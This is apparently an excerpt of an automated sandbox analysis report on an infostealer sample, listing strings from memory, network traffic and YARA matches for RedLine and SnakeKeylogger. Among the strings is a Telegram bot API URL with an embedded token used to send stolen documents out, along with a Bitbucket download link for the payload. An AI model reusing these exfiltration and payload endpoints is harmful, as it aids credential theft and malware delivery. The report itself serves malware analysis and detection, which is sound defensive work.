yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.orgpj
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aui-cdn.atlassian.com/
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-frontbucket-canary.prod-east.f
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/;
Source: EPTMAcgvNZ.exe, 00000000.00000002.1354974339.0000000000829000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bbuseruploads.s3.amazonaws.com:443/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-b
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000208FD000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/ntim1478/gpmaw/dow
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000208E0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1353822380.000000000076E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.cookielaw.org/
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown HTTPS traffic detected: 16.182.70.225:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49972 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 14.2.yihfsboC.pif.400000.5.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 21.2.Cobsfhiy.PIF.20805c08.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.1.yihfsboC.pif.400000.2.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.400000.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
